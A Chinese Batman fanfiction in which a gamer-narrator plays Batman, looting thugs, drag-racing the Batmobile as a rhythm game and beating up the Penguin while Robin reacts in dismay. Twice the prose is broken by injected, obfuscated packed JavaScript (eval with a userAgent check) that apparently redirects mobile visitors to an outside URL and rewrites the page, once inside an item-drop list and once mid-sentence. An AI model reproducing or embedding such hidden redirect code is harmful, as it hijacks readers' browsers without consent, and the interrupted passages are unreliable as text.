《[综英美]蝙蝠侠，但第四天灾》 1. 睡美人与罗宾鸟 全哥谭的人都知道，这个黑漆漆的阴沉大蝙蝠从来不杀人。但迪克·格雷森偶然间发现他的养父似乎在杀不杀人方面有着一套非常灵活的道德底线。 “很明显，哥谭的交通现状并不是很好，拿了驾照的人也有可能都没考过试，根本不知道疲劳驾驶会危害身心健康。”当事人蝙蝠侠干巴巴地解释道，身后完全被火焰覆盖的车子终于不堪这句话的重负，爆炸了，产生的强大冲击力将前面的车盖猛地顶起，在空气中划过一道优美的弧线后直直坠落，然后落到了跟着他的小鸟脚边。距离不算太远，迪克目测，距离他的右脚仅有几厘米。 “B……” 佩戴红披风，身穿绿鳞小短裤的小矮子罗宾瞳孔震颤，嘴角飞快地抽动一下，他欲言又止，止言又欲，开了个头却不知该说什么——坐在屏幕前的玩家你几乎要觉得建模小人那表示嘴角的小像素点再反复跳动几下就能撬动整个地球，然而蝙蝠侠依旧不为所动，操控着他的你很想笑，他也应该笑，但他是蝙蝠侠，游戏里的建模嘴像是黏上了强力胶，死死捍卫住人气角色人设在被玩家玩坏前的最后一点尊严。 蝙蝠侠当着他的面杀人了。迪克在努力消化着这个事实。 其实也不是那么难于接受，事实上迪克对死去的□□混混没有任何实感，他们是在哥谭能接触到的最底层的人，流浪汉或许都要比他们更幸运些，至少有韦恩集团发来的补贴，享受城市最低限度的保障，而这些□□混混无外乎每条街道最混乱的巷子出身，父母坏三样占了个遍，他们一出生可能就已经被毁了，谁有钱就跟着谁卖命，把自己一生获得的暴力像售卖货物那样售卖给更弱者，手上沾染了不少鲜血。他更在乎的是，接触到的蝙蝠侠和传闻中的有些出入这件事。 以往蝙蝠侠只是个都市传说，出道时接触到的敌人也不过是小喽啰三两只，更多的故事可能早已掩没在臭水沟里了，迪克才认识他没多久，更准确来讲，他先是认识的布鲁斯·韦恩，然后才认识蝙蝠侠，他不是很想把养父和导师、夜巡搭档、Leader的身份彻彻底底地分开，他们毫无疑问是同一个人，但是现在他必须得对他养父的精神状态是否正常持一个保留态度，他很怀疑，也很怅然，因为如果蝙蝠侠的的确确病了，那完全不是对方一个人的过错，迪克想，或许他也在其中占了一部分责任。好吧，现在都在为他开脱了，迪克觉得自己无可救药。 “你不相信？”白色镜片遮住了蝙蝠侠的眼，迪克看不清他的表情。 “当然相信。”迪克表情无比复杂，磕磕绊绊说出这句话。虽然你完全不懂屏幕那头这只小鸟到底在复杂些什么，根本没有看懂的义务！然而旁白就是这么告诉你的。 不过你还是很想吐槽，当初奔着线上认识的某知名游戏博主po出来的蝙蝠侠人物建模图而来，本以为其他人物都会是这个水准，帅得一塌糊涂，但现在只觉得自己似乎是被大蝙蝠美好的身体给蒙蔽住了双眼，到现在为止你的人机队友AKA马戏团小子，还不是成年形态。甚至那夸张但优美的臀部曲线，到现在也只是初窥端倪罢了，还穿着那套红绿灯大腿凉嗖嗖套装。开局一只鸟崽，经典，绝对称得上是教科书级别的上当受骗例子。产品上那行经典话术“图片仅供参考，一切以实物为准”诚不欺你。除却主要NPC，似乎其他人长得都差不多，男女老少共用一张脸，这套路你只在什么细思鼻孔的惊悚图片帖子里看到过，彩蛋是鬼脸和相片里全家人都是同一张脸，不用谢，你是活雷锋。 哥谭的人民确实很可爱，但是再可爱都架不住你根本分不清哪个是哪个。你在游戏里遇到的NPC角色真的长得有什么差别吗？去掉那些奇奇怪怪的元素堆叠，再去掉头发，长得确实都一模一样啊。所以你是真的很好奇，你的罗宾到底是怎么分辨出来别人并自动攻击的，而且你那并不是在好好运作的良心也有点担忧，万一在做任务的时候不小心搞死发布任务的NPC怎么办。 你把你的想法分享给了推荐游戏的博主，对方的头像有着你现在还无法企及的炫酷审美——是的，还有谁会画只咧着嘴笑的简笔画朋克蝙蝠呢，多么新潮。他显然每天高强度网上冲浪，热情得如同某橙色软件里的商家客服，你话还没发多少，手机提示信息时会传来的“噔噔噔”的音效极具存在感，他给你发了一、二、三……天呐，很多条消息，以至于你得花上点时间翻到开头。你一手举着手机划拉屏幕，一手握住鼠标狂摁左键，跳过、跳过，有的时候你很想问候游戏开发者，为什么不能通过看小广告折损阳寿跳过对话？罗里吧嗦的剧情，简直就是对时间的浪费。时间就是金钱，你少说也在试图跳过游戏对话的举动上浪费过一个亿。 [私信]笑口常开每一天:「哦，亲爱的……你的想法可真是太可爱啦:)」 [私信]笑口常开每一天:「做游戏贴图的时候稍微草率了点儿，主要是负责这块儿的人偷了点懒，尤其是赶工的时候，为了交差随随便便搞了点别的，毕竟工作室对除了蝙蝠侠以外的其他人其实都不怎么感兴趣呢」 [私信]笑口常开每一天:「btw，工作室一直以来没有名字，最近倒是定下来了，就叫梦魇骑士团」 [私信]笑口常开每一天:「不是我出的馊主意，我们经过了投票，好不容易才在“富仇者联盟”、“内裤外穿爱好者俱乐部”、“黑漆漆童子军”，还有各种盗版其他宇宙反派团体的名称，以及红死魔在睡梦中说的哔——等等选择里面挑出个最没有幽默感的名称。」 [私信]笑口常开每一天:「我是不是说得有点多了」 [私信]笑口常开每一天:「好吧，你千万别告诉别人，我和开发游戏的人是一伙的，否则我可能会跟着那群家伙一起登上超级英雄们的版权黑名单」 [私信]笑口常开每一天:「总之，安心，安心，游戏里认不出来NPC是很正常的啦，就像是打怪游戏一样，地图里死了的小怪到点儿自动就会复活啦，还会和原来长得一模一样的，完全没有区别」 [私信]笑口常开每一天:「我是说，甚至可以把小鸟们当成一个人，不用记住他们，毕竟功能也都差不多，随时都可以替换掉」 [私信]笑口常开每一天:「最近我们在准备研发游戏的联机功能，先捣鼓几天，没准到时候成了能来你的宇宙串串门」 [私信]笑口常开每一天:「等有了成果再聊，回见」 发过来的信息中间实际上有许多内容，大多是嘴碎的博主闲得无聊创作出来的笑话，一贯有着点儿阴间风味的幽默在其中，你使用自己看网文里面垃圾话的自主认识过滤的技能，有效闪避掉了那些废话，效果拔群。 “我们现在该怎么处理这些……”你的罗宾像是挤面条一样从牙缝里挤出这后半句话，“‘睡美人’？” 听听，多可爱的说法。不枉你每天强制性给小鸟读睡前故事。要知道，格林童话可是每个男孩子的枕边读物，至少对蝙蝠家的鸟崽具有战略性的教育意义。总而言之，这个马戏团小子最近的文法颇有成效，看，都学会使上修辞了。唯一的缺陷就是，这其实是个真人快打模拟器，呃，好吧，其实话不能说得太满，应该说缝合了很多你相当熟悉的游戏玩法，要是说出来的话，这篇文可能就无缘和大家再见了。可喜可贺。可喜可贺。 迪克觉得他的养父终于是疯了。面对着地上横七竖八躺着的焦黑得不成人形的木炭，以及他这充满了勉强意味的话，蝙蝠侠依旧很平静，指着焦尸道，“他们已经陷入了沉眠，打扰他们是不解风情的行为。不过，替他们卸下灵魂的重负，也是我们的慈悲。” 他蹲在地上，一只黑漆漆的大猫剪影就成形了。迪克嘴角狂抽，显然还没有了解慈悲的含义，只是又拖长了声音问蝙蝠侠，“B，卸下重负也包括从尸体上扒钱包么？” 蝙蝠侠没有恼羞成怒，甚至都能用僵硬在那里，迪克叹为观止。你已经按下[F]键拾取了，只见屏幕里的黑色披风猛地一甩，动作行云流水，没有丝毫的迟疑或所谓的心理负担。 那只戴着凯夫拉手套的手伸向了离得最近的一个倒霉鬼。那家伙半个身子都被压在变形的车门下，脸上全是血污和机油的混合物，看起来像个脏兮兮的调色盘，迪克在心里暗示自己，那不是血，而是油彩之类的。他还是不相信蝙蝠侠会杀人。但你根本没听到他心里这点小九九。 系统提示框适时地弹了出来： [获得：破损的钱包x1] [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193462|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得：不明药丸x3] [获得：9mm子弹x12] 这掉率感人得让你想骂人。穷鬼。你在心里比了个中指，按得鼠标咔哒咔哒响个不停，操控着蝙蝠侠在这个倒霉鬼身上上下其手，连那双看起来还算完整的皮靴都没放过。 迪克站在一旁，听着那披风被风吹得猎猎作响。他看着那个平日里教导他“正义”、“克制”、“法律”的导师，此刻把混混口袋里最后一点钢镚都掏了出来，动作娴熟无比，车卡的时候一定把妙手点满了。 “那个，布鲁斯，也许交给警察处理比较好？戈登局长可能会需要证物……” 小鸟试图做最后的挣扎，他往前挪了一小步，头顶上冒出了个代表焦急的气泡，你的光标落到上面，使劲点左键，气泡纹丝不动。唉，你还以为会有彩蛋。 你操控着蝙蝠侠停下了动作，缓缓转过头。在你的脑补下，大蝙蝠直勾勾地盯着那个不知好歹的小跟班。而你痛心疾首，这只未来的翘臀小鸟居然忤逆他心爱的老父亲。 “罗宾，这叫‘资源回收’。哥谭的每一枚硬币都应该被用在刀刃上。比如，你那身花哨制服的修缮费。” 蝙蝠侠一本正经地胡说八道，语气严肃，表情正经，仿佛这是天大的事情，而不是临时起意决定在这个下雨的天，冷冷地扒着小混混的衣服。 迪克张了张嘴，似乎被这套无懈可击的逻辑噎住了。他低头看了看自己那身红绿相间的制服——确实，上次巡逻被狗咬破的裤脚还没补好，阿尔弗雷德最近总是抱怨韦恩庄园的开销太大。 但他总觉得哪里不对劲。非常不对劲。 “可是……” 他还想说什么，但你已经不想听了。这片区域的怪已经清完了，战利品也搜刮得差不多了，虽然都是些垃圾，但蚊子腿再小也是肉。 你按下了召唤载具的快捷键。 远处传来了引擎的轰鸣声，蝙蝠车以此地限速三倍的速度呼啸而来。它一个极其风骚的漂移——差点撞飞了罗宾，最后停在了你们面前。 轮胎摩擦地面卷起的烟尘呛得迪克咳嗽了好几声。 “别发呆了。还有任务要做。” 蝙蝠侠说着，披风一甩，一片黑云就此钻进了驾驶座。 迪克看着那扇缓缓升起的车门，又回头看了一眼地上那些被搜刮得只剩内裤的“睡美人”，最终只能发出一声极轻的叹息，他认命地爬上副驾驶。感谢蝙蝠侠，没有发病把那些尸体也带着，他可不想学习如何毁尸灭迹，那太疯狂了。不过话又说回来，今天本来就挺疯狂的。 车门重重关上，隔绝了外面的血腥味。 屏幕前的你满意地喝了一口快乐水，看着屏幕左下角任务栏里更新的提示。 “冲啊，为了经验值！”你小声嘀咕了一句，令蝙蝠侠猛地推下加速杆。蝙蝠车疯狂加速，在哥谭市区里横冲直撞，巨大的推背感让屏幕里的角色们同时往后一仰，车子如离弦之箭，冲了出去，只留下一地狼藉和还在燃烧的废墟，作为黑暗骑士来过的证明。 而在副驾驶上，迪克正紧紧抓着安全带，脸色苍白。他看着窗外飞速倒退的街景，那是被霓虹灯拉扯成光怪陆离线条的城市。 “B，开得太快了！你真的有驾照吗？我是说……合法的、没过期的那种。”迪克想，他现在的表情看起来或许就像那副名画《呐喊》里的人物所拥有的表情，恨不得捂着两颊腮帮子叫出来。 蝙蝠侠没有回答，只是默默地将油门踩到了底。 仪表盘上的指针疯狂跳动，分分钟飚到令人心脏骤停。 “我是蝙蝠侠。”依旧是宛如得了喉癌般的嗓音。 要是在之前，这绝对是令人信服的理由。前提是他没有看见那些从车窗那里飞过去的黑影，撞上了，绝对是撞上了吧！哥谭机动车驾驶手册到底在哪里？！ 迪克绝望地闭上了眼睛，决定不再思考为什么今晚的蝙蝠侠看起来像是一个刚刚越狱的精神病患者。他只是希望阿尔弗雷德今晚准备了足够多的夜宵，以及——如果他们还能活着回去的话——最好还有一些胃药。 很久很久以后发奋学习通过驾驶证考试的迪克或许会感谢今晚吧，谁知道呢？ 2. 玩家百特曼的起源故事(伪) 你可没时间管你的罗宾心里在想什么，你沉浸在玩F1赛车的快乐当中，发了狠了，忘了情了，这也难怪，蝙蝠车有十三个档位，数量让人惊叹。 正在你操控蝙蝠侠经过一串快速点击事件的时候，你突然发现屏幕最左上角有个模式切换，好奇心害死黑色大号焦糖猫，你点了一下，把模式切换成趣味模式。 好啊，你倒要看看趣味模式怎么个趣味法。 紧接着原本高精尖的驾驶界面不见了，取而代之的是，Ph○gros？你很快把F1赛车抛之脑后，玩起了音游，旁边还有个关闭的喇叭图标，你觉得是开启声音的，打音游不开游戏声音可不行。你根本不知道这其实是蝙蝠车音响的开关。 还在闭目休憩的迪克·格雷森度过了他最难忘的几分钟。 起先开始他还没觉得有什么不对的地方，只是一个蝙蝠侠好像发了疯的夜晚，但直觉总让他有种不详的预感，他感觉自己好像遭遇海难般，周身被一种逐渐强大的吸力吸附过去，他自己似乎跟不上车子的速度，然后，车厢里爆发一阵意义不明的摇滚乐，黑暗朋克重金属乡村摇滚风格的劲爆DJ，各种乐器演奏宛如打架，而他自己像喝了假酒，脑袋昏昏沉沉，偏偏又非常精神。 天呐，还不如让我自己就这么晕过去。迪克在心里哀嚎。 “布……布鲁斯，你是不是把油门当刹车来踩了？布鲁斯！”小鸟叽叽喳喳，但驾驶座上的蝙蝠侠对此充耳不闻，车厢里的音乐大得他找自己的声音都费劲。 屏幕上的判定线左右摇晃，上下震颤，晃晃悠悠，来回扭动，像疯掉了的鞋带子。你甚至来不及思考为什么一辆重型装甲车的驾驶系统需要通过点击屏幕上乱飞的小丑头像来维持引擎转速，手指就已经形成了某种诡异的肌肉记忆，左左右右上上下下BABA，按着键盘噼里啪啦响。 “Perfect！”屏幕中央炸开一个花哨的特效字样，伴随着小丑那标志性的尖笑声。 紧接着是一个需要长按的滑条，那是企鹅人的惨叫声，凄厉且悠长，随着鼠标光标在屏幕上的拖动，那惨叫声甚至还能变调，从公鸡打鸣一路飙升到能把玻璃震碎的海豚音。 这根本不是在开车。恍惚间迪克似乎见到了他在天上的父母，在朝他挥手，他们喊他过去接受主的感召，还没等迪克伸手升天，他感觉自己被甩了过去，像是三维弹珠“duang”的一下又弹了回去，推背感极强。 蝙蝠车在哥谭本就不太宽敞的街道上走出了蛇形走位。每一次你在屏幕上进行的“完美判定”，反馈到车身动态上，都是足以将人甩飞出去的急转弯，迪克看着车窗前的景象猛然放大，并且越来越近，声音都吓得变了调，他想着自己要是变声期之后成了公鸭嗓一定要怪蝙蝠侠。 “哇啊啊啊！B！墙！是墙啊！！” 然而，坐在驾驶座上的布鲁斯·韦恩aka蝙蝠侠却没有理会他的惨叫。因为你现在的注意力全在连击数上。屏幕左上角bo数字已经跳到了"x48"，只要再坚持过这段贝恩的Rap环节，就能拿到这一关的满星评价。赌上一个强迫症患者的尊严，或者说赌上蝙蝠侠的尊严，总而言之，你势必要拿到Fullbo，绝对不能断连。 于是你极富有战略性地点了最底下的七彩技能槽，可以看到那是一个圆形的图像样式的按钮，用的是迪克·格雷森的头像，鼠标悬停在上面的时候，甚至能够听见专属于罗宾们的通用曲子。 此时此刻，曲目已经到了白热化阶段。音响里传来了贝恩中气十足的“哼哼哈哈”声，充满了一种哲学♂意味的节奏感。与之相对应的，蝙蝠车的尾部喷口猛地爆出一团蓝色的火焰，整辆车像是被一只无形的大手抓着屁股提了起来，以前轮为轴，硬生生地在空中做了一个三百六十度的托马斯回旋。 “布、布鲁斯！？你疯了吗！？” 迪克那张在车里凌乱的小脸惨白，看起来他已经在竭力避免自己吐出来了。他看着窗外的景色像是在滚筒洗衣机里一样飞速旋转——路灯、垃圾桶、惊慌失措的路人，还有那些还没来得及看清就被撞飞的流动摊贩。 黑的、红的、白的、蓝的、黄的……种种流动的色彩糅杂在一起，世界不是分明的白，也不是死寂的黑，而是混沌无逻辑的五彩斑斓的灰色，他听见脑子里的嗡鸣，而他脸上的表情则是要吐不吐的难受。 你甚至能看到迪克头顶冒出了一个巨大的、不断颤抖的对话气泡，里面全是乱码。 但这不重要。重要的是，这一段操作下来，你的技能槽已经满了。 “罗宾，安静。节奏乱了。” 你操控着蝙蝠侠冷冷地说道，声音依旧是那个得了喉癌的、仿佛掌控一切的黑暗骑士声线。但这句台词配上此时此刻车内循环播放的小丑笑声和贝恩的rap，怎么听都像是一种地狱笑话级的黑色幽默。 迪克显然是被这句话噎住了，或者是因为刚才那个回旋动作导致胃里的酸水涌了上来，他捂着嘴，发出了几声含糊不清的呜咽。 “节、节奏？这叫节奏……？” 他艰难地从牙缝里挤出这几个字，双眼都不再清澈了。 你不得不承认，这个游戏的策划绝对是个天才，或者是刚从阿卡姆疯人院放出来的优秀毕业生。谁能想到把哥谭市的交通状况做成一个硬核音游呢？每一个路障都是一个Note，每一个行人都可能是一个隐藏的加分项——当然，撞上去会扣除“不杀原则”的数值，但谁在乎呢？反正这游戏里的蝙蝠侠道德底线灵活得像根皮筋。 你果断按下了技能槽，一个巨大的动画效果立即沾满整个屏幕，充满动效的CG闪现，你几乎立即就认出了这个图片上穿着罗宾装准备来个大地震撼姿势的是迪克·格雷森，而他上面的蝙蝠侠只露出一个背影。紧接着这张图片上下拆开，巨大的“连携技”三个字在中间突出。 原本的音游界面立即变成弹幕游戏，游戏的Boss是个巨大的青菜脑袋咧着口红大嘴的小丑，边笑边吐弹幕，蝙蝠车在界面成了战机，不停攻击弹幕，现实里的蝙蝠车正在左摇右晃。已经没工夫去数撞翻了多少东西。 最后车子终于在一个极其刁钻的角度拐弯，地面和车子轮胎摩擦出一片气球泄了气之后的嘁哧咔嚓声，减震系统跟着发出了不堪重负的哀鸣，但好歹是稳住了。 现在的连击数是"x99"。 只差最后一个了。 屏幕上Boss战进入了二阶段，正以极快的速度迫近。 你深吸一口气，等待着那个完美的时机。 “要来了，罗宾。抓紧了。” 蝙蝠侠的声音在车厢内，被混杂的DJ弄得险些听不出来。 迪克似乎是放弃了挣扎，已经彻底麻木了。他松开了一直抓着扶手的手，反而双手合十，感觉自己身上圣光加护，走马灯纷至沓来，这次他看到了云朵上的天使，吹着小号过来迎接他了。 “随便你吧。我想，怎么着都行了……” 就在小丑的脑袋过来的时候，刚才的弹幕游戏又变回音游，判定线马上和脑袋重合的那一瞬，你已经重重地按在了按键上，游戏里的蝙蝠侠猛踩一脚油门。 怎一个爽字了得！这一击下去绝对是全屏清场的效果，你看着那特效炸开，感觉整个人都舒展了，大脑褶皱都抚平了。 而迪克，他的身体已经跟不上脑子的反应了，只觉得整个人轻飘飘的，像是在云端漫步，又像是在地狱蹦迪。 “FINISH！” 伴随着一声巨大的、狂轰滥炸般的音效袭来，蝙蝠车的前端猛地弹射出一根粗大的抓钩，完全不讲道理地钉进了前方那栋废弃大楼的墙壁里。 紧接着，缆绳急速收缩。 整辆车借着这股拉力，像是一颗黑色的炮弹，直接撞碎了大楼外墙的玻璃，一往无前地冲进了大楼内部。 晶莹的雨，破碎的雨，每一片反射着幽暗的光泽，在车灯的照射下瞬间落成闪烁流光的银河。迪克看着那些碎片从车窗外飞过，无奈地叹气。 车子在地板上滑行了十几米，最终稳稳地停在了大厅中央。 周围一片死寂。蝙蝠车的引擎还没冷却下来，迪克拍拍他自己的脸，只觉得自己的心凉了大半截。这算是拆迁吧，绝对算是拆迁吧！即使这蝙蝠车比这座大楼还要贵，但是布鲁斯依旧选择用它来拆迁。他暗戳戳地向自家养父投来罗宾担忧的目光，只可惜完全是抛给瞎子看。黑漆漆大蝙蝠纹丝不动。实际上—— 屏幕上弹出了结算界面： [评价：S] [连击：100] [获得奖励：小丑的假牙x1，企鹅人的破雨伞x1] 屏幕前的你满意地点了点头，这把发挥不错。 车门缓缓升起，发出一声气压释放的“嗤”声。 你操控着蝙蝠侠跳下车，披风在身后划出一道完美的弧线。你转过身，看着副驾驶座上那个已经变成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你记得打开游戏的时候，那天正好是星期四，□□群里群友们接着肯德基疯狂星期四的烂梗，你顺手点了个外卖，一边吃一边玩，开局取名，你想起蝙蝠侠父母双亡，户口本上除了他以外几乎没什么人了，还是个大富豪，长得又帅，又是超级英雄，好哇，就决定是你吧，钢○侠，结果名称违规。 你不服气，又给自己打了“爸爸”两个字，结果依旧显示违规，再输入米花町死○小学生，系统繁忙等了好几分告诉你违规。 最后你慎之又慎、痛心疾首之下给自己取名V我50，昵称立即生效。 但是屁用没有！ 因为这是个蝙蝠侠模拟器！ 即便它叫《你怎么又死了》这样的名字，但系统就是给你强制取名为布鲁斯·韦恩，自此你开启了蝙蝠侠罪恶的一生。 玩家操纵的蝙蝠侠从小概括就一个字，皮！这个皮不光指，被哥谭常见父亲皮带抽但依旧活蹦乱跳的皮实，也可以指捅大篓子的淘气，但好在蝙蝠侠的父亲托马斯，用医者仁心形容简直是再合适不过，从来没有使用过父爱修正拳修正小布鲁斯，而小布鲁斯也从来没有把天捅出个大篓子来。 顶多就是，爬到高处。很难想象婴儿为什么这么能爬，但是开发组说蝙蝠侠的事情你们不必了解得那么清楚，虽然有种莫名其妙的荒谬感，但你还是能操作他爬高去摸谜语人奖杯的。 然后被蝙蝠侠那使不完劲儿的母亲玛莎进行一个快速揣崽转移，左手倒右手就放回摇篮里了。然后给婴儿特写，那下巴，雄壮异常，那嘴巴高高下撇，蝙蝠侠平生第一个不赞同的表情，热气腾腾地出炉了。紧接着，他打了个响亮的奶嗝。 你在屏幕前差点笑出猪叫。 还好关于布鲁斯幼年的剧情都很短，日历的日期极力地蹦跶，很快就蹦跶到六月的一个晚上，布鲁斯全家去看电影。小布鲁斯最爱佐罗，也最爱万圣节，他会在万圣节扮演佐罗，他的父亲也为了他的愿望办过。可以说小布鲁斯相当喜欢佐罗。 虽然这游戏有存档，但是有些剧情根本不可避免，比如说六岁布鲁斯跌落蝙蝠洞，哪怕再跌落那一天之前半个月存档让大人们封锁蝙蝠洞，游戏里的小布鲁斯也会以一个欺骗物理学的姿势或者说是巧合落到蝙蝠洞里，然后状态栏上就此多个[蝙蝠:惊惧]的debuff。 同样的，你也无法阻止托马斯和玛莎死。冥冥之中，似乎一切都对蝙蝠侠的双亲抱有恶意，你试过击毙乔·齐尔这个凶手，结果小布鲁斯暴毙了，你试过带阿尔弗雷德一起，乔·齐尔确实嘎了，但阿尔弗雷德把韦恩夫妇也一并弄死了，还有的时候，档里的凶手是个头发绿油油的小丑，发出足够掉San的大笑声，你试过击毙他，结果自己感染小丑病毒成小丑了。兜兜转转，你居然发现，刚开始不去干预的情况或许是最好的方法。 于是状态栏里的[蝙蝠:惊惧]变成[蝙蝠:重生]，Debuff依然在，但是效果上写的是，布鲁斯·韦恩本人已经克服了这层恐惧，即使负面效果仍在，但是他无视了。 3. 百特曼不讲武德 你没着急着开副本。玩家致力于给自己玩的游戏打Mod，这几乎是很多玩家会做出的选择，有时是因为游戏趣味性不高，有时则是单纯想要作弊，很明显你属于后者。话又说回来，其实这模组是笑口常开每一天——记得吗？就是那个博主，他提供给你的。 工作室制造Mod供给玩家，这操作怎么有点耳熟。你觉得自己要长脑子了。 当然了，作弊只有0次和无数次，不过你现在还没有将魔爪伸向服装Mod。老实说因为蝙蝠侠穿三点式似乎对你的眼睛是一个不小的挑战，嗯，虽然这肌肉足够健美，但你还没有丧心病狂到天天看并且暴露出来这种程度，你为此感到自豪，你又一次保留了蝙蝠侠的尊严和脸面。 你正在调试模组集合里的功能开关，比如这个一键拾取，物品自动吸附功能，用上这个之后蝙蝠侠再也不用辛辛苦苦扒衣服了！你满心欢喜，有种终于吃到好的了的快乐。 等再打开游戏，屏幕里的蝙蝠侠似乎已经出溜了大半距离，但因为副本根本没打开，迪克感觉自己似乎正在和蝙蝠侠鬼打墙。但下一刻，他的导师、他的Leader、他的蝙蝠侠，像是变了个人，或者说终于从走神里回过神来，回魂了，没有什么言语，甚至不打算解释，他的手伸出去，手套在空中，仿佛面前有面墙似的，如同壁虎般贴着空气，鬼鬼祟祟走着，偷感极重。 “这副本居然有空气墙？”你操控着蝙蝠侠靠着空气墙走了一圈。然后试图快速切换待机动作看能不能卡进去。 迪克想，蝙蝠侠疯了这几个字他都说倦了，但还是不得不为他养父的操作再一次感到震惊。 天呐，什么叫神速力，这才叫神速力！迪克目瞪口呆。 蝙蝠侠就像是个卡带的播放器，以每秒做十六个战术下蹲的速度卡出了残影，害得他不得不肉眼补帧。迪克绝对不会相信这套说是在锻炼臀大肌的说辞。他会为蝙蝠侠的膝盖祈祷的，阿门！ 你大概对着空气斗智斗勇了几分钟后，才放过了可怜的空气和罗宾的眼睛。黑漆漆大蝙蝠一转身，披风擦过罗宾的鼻尖，迪克以为自己看到了一只尴尬的大猫，他张了张嘴，觉得自己的下巴都要僵硬了，“B，那个，我是不该告诉阿福终于可以把那个‘蝙蝠侠心理健康评估’提上日程，或者先给你叫个驱魔人之类的？” 建模小人皱巴巴一张脸，差点没把“你OOC了”这几个大字贴脑门上，但是屏幕前的你只会邪魅一笑，然后继续整活。 邪祟入体，蝙蝠侠绝对是邪祟入体。迪克盯着蝙蝠侠，而蝙蝠侠盯着罗宾，多米诺面具对着蝙蝠头罩，你们之间的空气谁也插不上嘴，物理上的，蝙蝠侠和迪克就这么对视了几分钟，最终迪克在这场大眼瞪小眼的比赛里败下阵来，他发现蝙蝠侠根本不眨眼！好吧，戴着白色目镜根本也看不出来眨没眨眼！ “我是蝙蝠侠。”过了一会儿，反射弧奇慢无比的蝙蝠侠干巴巴地说着。 “基督啊，”迪克像是被人打了一拳，扶着额头，“你只会说这一句话么！” “闭嘴，罗宾！” 事实证明蝙蝠侠还会说第二句。 言简意赅。但是迪克想，他可是蝙蝠侠出道之后的第一个罗宾，虽然可能也许以后还会有别的罗宾，但起码他可是长子，还是大贵之子，即使不是嫡出，好在是长子啊。而且蝙蝠侠是哥谭土皇帝，四舍五入三七二十一一下，那迪克就是太子，是储君，以后会登基继承大统，根据大如传奇里的因果报应守恒定律，他现在就可以对庶皇帝布鲁斯即刻绞杀。 然而迪克没这么做，因为迪克他善！ 你看着屏幕前的迪克，这小人的头上一直在冒着气泡，气泡上不断浮现出蝙蝠和王冠的emoji，你并不是很懂，但莫名觉得，脊背发寒。可你并不畏惧哥谭的平民势力和反派势力！无法掣肘的意思就是无法选中！桀桀桀！ 副本的开启钥匙在最中央。每日副本需要耗费体力，剧情副本在过剧情的时候就能够开启，并且最搞的一点就在于，小可爱工作室会甜蜜地把全地图需要收集的宝箱和谜语人奖杯也见缝插针地塞到剧情副本里，并且更集齐开放大世界的史点之副本没有小地图，可能副本就相当于一个大型机关吧，兼具解谜和战斗玩法于一身，在副本里也就不用花点时间继续解谜了，但也不排除策划不当人搞套娃中的套娃。 迪克并不清楚为什么蝙蝠侠要站在一楼大厅最中央最明亮的地方，只停顿了一两秒，周围的怪就源源不断地涌了上来。在某种假设下，蝙蝠侠是魅魔无疑！ 然而魅魔是个壮汉，tough guy中的tough guy，就是百特曼。往那一站，如同天上降魔主，真是人间太岁神。矿工，矿工中的矿工，但这话你可不能对着屏幕前的蝙蝠侠说，毕竟蝙蝠侠是资本家。最怕的一是路灯，二是旷工。 快进到真人快打环节，蝙蝠侠在人群里以一当百，左勾拳右勾拳，上勾拳下勾拳，直拳出击，猫抖水，猫转身，倒拔垂杨柳又龙卷风摧毁停车场，拳拳到肉。头脑派爆改肌肉派，阿福做的鸡胸肉派还挺好吃，迪克难得走神。他发现蝙蝠侠今天的战斗风格像是变了个人一样，以前的蝙蝠侠可能一边揍人一边问“企鹅人在哪里”，今天晚上都不问了，直接奔着对这些混混使用昏睡魔法来的，可惜了，不会有王子来对他们献上魔法之吻。 迪克甚至都找不到蝙蝠侠腾出手的时机，残暴，太残暴了，蝙蝠侠终于把他在体重上的优势发挥在了合适的领域，只见他一拳直冲向小混混，迎面就是一阵还我漂漂拳，紧接着转身跳起就是个回旋踢，甚至没有发出哀嚎，对方就像断了线的风筝飞出去了，化为一颗流星。很闪亮。迪克摘下墨镜，虽然他根本没戴，呃，这只是一种修辞手法，通过虚构墨镜来表现混混飞得有多远飞得有多高，他希望远在大都会的超人在没事清理太空垃圾的时候，能把可能在真空宇宙里一秒都待不下去的小混混捞回来，阿门，再次！ “反派死于话多。”小蝙蝠妈妈课堂开课了 ，蝙蝠侠冷冷地点评一句，似乎是在用事教人，迪克似懂非懂。 这只小鸟把短棍一收，感觉自己今天晚上的夜巡好似春游，和大家长在满是混混鬼哭狼嚎、躺在地上再起不能的大厅里春游。好吧，这一点都不美好。 蝙蝠侠毁了我的春游！迪克又想。 你操纵着蝙蝠侠，带着自己的小鸟继续向反派地盘腹地前进。 也不知是福是祸，蝙蝠侠虽然疯了点，但是似乎更敏锐了，他现在一下子就找到了企鹅人。 正在和手下密谋的企鹅人感觉自己后颈凉嗖嗖的，转过身，差点没被蝙蝠侠吓死。他心里直犯嘀咕，蝙蝠侠是鬼吧，一点声音没有。又惊又恐又恼怒地发出经典质问，“蝙蝠侠！你是怎么知道我在这儿的！” 蝙蝠侠看看周围，“企鹅人。这不就在你的办公室么？” “笨蛋，我把所有的房间都装修成了办公室！”企鹅人将伞尖对上了蝙蝠侠，但就在对准的一刻，他的面前已经迎过来了蝙蝠侠沙包大的拳头。 战斗比迪克预想的时间还要短，不到十几分钟，站着的人只剩下蝙蝠侠和罗宾了。企鹅人瘫在墙角，昂贵的燕尾服已经变成了战损版破布条子，脸上挂彩更加严重，几乎肿成猪头，嘴唇哆哆嗦嗦，不知道想说什么，他被蝙蝠侠打断了根肋骨，蝙蝠侠一靠近，他身体还记得疼，直往墙角里躲。 “你……蝙蝠……”没说一句就疼得呲牙咧嘴。 